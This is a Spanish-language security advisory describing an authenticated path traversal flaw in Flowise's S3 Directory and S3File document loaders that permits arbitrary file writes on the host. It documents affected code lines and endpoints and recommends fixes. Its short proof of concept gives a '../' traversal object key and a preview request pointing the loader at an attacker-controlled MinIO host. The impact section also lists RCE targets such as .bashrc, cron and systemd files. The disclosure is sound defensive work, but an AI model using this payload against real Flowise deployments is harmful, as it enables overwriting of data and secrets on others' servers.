Resumen
Flowise en su rama principal actual permite a un usuario autenticado con el permiso documentStores:preview-process activar el cargador de documentos S3 Directory con claves de objeto S3 controladas por el atacante. El cargador combina cada clave S3 devuelta con un directorio temporal mediante path.join(tempDir, key) y escribe los bytes del objeto en disco sin validar secuencias de path traversal como ../. La limpieza posterior elimina únicamente el directorio temporal original, por lo que los archivos escritos fuera de ese directorio persisten en el sistema de archivos del host.
Esto produce una escritura arbitraria de archivos con los privilegios del proceso servidor de Flowise.
Existe una variante relacionada en el cargador S3File cuando fileProcessingMethod = unstructured (misma causa raíz; su comportamiento de limpieza lo convierte en un primitivo mixto de escritura arbitraria, eliminación y DoS).
Componente afectado
packages/components/nodes/documentloaders/S3Directory/S3Directory.ts- Línea 191:
filePath = path.join(tempDir, key)(sin sanitizar) - Línea 213:
mkdirSyncrecursivo crea la ruta padre - Línea 216:
writeFileSyncescribe bytes controlados por el atacante - Línea 289: la limpieza elimina solo el
tempDiroriginal, por lo que los archivos escapados permanecen en disco
- Línea 191:
- Variante relacionada:
packages/components/nodes/documentloaders/S3File/S3File.ts(líneas 756, 780, 782, 817: escritura arbitraria más eliminación recursiva de directorio padre)
Alcance de la vulnerabilidad
Las rutas expuestas son:
/api/v1/document-store/loader/preview
/api/v1/document-store/loader/process/:loaderId
Definidas en packages/server/src/routes/documentstore/index.ts (líneas 41 y 45). Ambas requieren el permiso documentStores:preview-process.
El archivo packages/server/src/services/documentstore/index.ts (línea 588) pasa data.loaderConfig directamente al nodo cargador sin ninguna sanitización de rutas.
El cargador S3Directory acepta un serverUrl personalizado, por lo que el atacante no necesita acceso a un bucket AWS de confianza existente: puede apuntar Flowise a un servidor MinIO local o cualquier endpoint compatible con S3 que controle.
Impacto
- Escritura arbitraria de archivos autenticada en cualquier ruta con permisos de escritura para el proceso Flowise.
- Sobreescritura destructiva de datos de aplicación, secretos o configuración.
- Escalada potencial a RCE si la cuenta de servicio puede modificar archivos ejecutables, de arranque o cargados por el intérprete (por ejemplo,
.bashrc, unidades systemd, archivos cron, objetivos derequire.resolve, scriptspostinstalldepackage.json). Esto no está garantizado en todos los despliegues.
Condiciones previas
- Instancia de Flowise en ejecución (modo servidor HTTP).
- El atacante dispone de una cuenta en el workspace con el rol
documentStores:preview-process. - No se requiere infraestructura adicional:
serverUrlpuede apuntar a un endpoint compatible con S3 controlado por el atacante.
Prueba de concepto
- Autenticarse como usuario con
documentStores:preview-process. - Ejecutar un servidor compatible con S3 controlado por el atacante (por ejemplo, MinIO).
- Crear un objeto con una clave de path traversal como:
../../../../tmp/flowise-poc.txt
- Lanzar la siguiente petición:
POST /api/v1/document-store/loader/preview
Content-Type: application/json
{
"loaderId": "s3Directory",
"loaderConfig": {
"serverUrl": "http://attacker-minio:9000",
"bucketName": "attacker-bucket",
"prefix": "",
"credential": ""
}
}
También es aplicable a /api/v1/document-store/loader/process/:loaderId.
- Verificar que Flowise escribe los bytes del objeto en la ruta escapada.
- Verificar que la limpieza elimina únicamente el directorio temporal original y que el archivo escapado persiste.
Reproducción local confirmada: al usar una clave que contiene ../../escape-target/poc.txt desde una raíz temporal anidada, el archivo se crea fuera del directorio temporal y la limpieza elimina solo tempDir.
Causa raíz
El cargador confía en las claves de objeto S3 como rutas relativas locales seguras. Debería canonicalizar el destino con path.resolve(...), verificar que la ruta resuelta permanece dentro del directorio temporal previsto y rechazar patrones de traversal o rutas absolutas antes de cualquier creación de directorio o escritura de archivo.
Remediación sugerida
El repositorio ya dispone de validadores de rutas compartidos que no se utilizan en este componente:
packages/components/src/validator.ts:35define comprobaciones de traversal.packages/components/src/validator.ts:295definesanitizeFileName.
Correcciones recomendadas:
- Sustituir
path.join(tempDir, key)por un flujo de resolución y verificación. - Rechazar cualquier ruta resuelta fuera de
tempDir. - Preferir un basename sanitizado si no se requiere estructura de directorios.
- Aplicar la misma corrección al cargador
S3Fileen la ramafileProcessingMethod = unstructured.
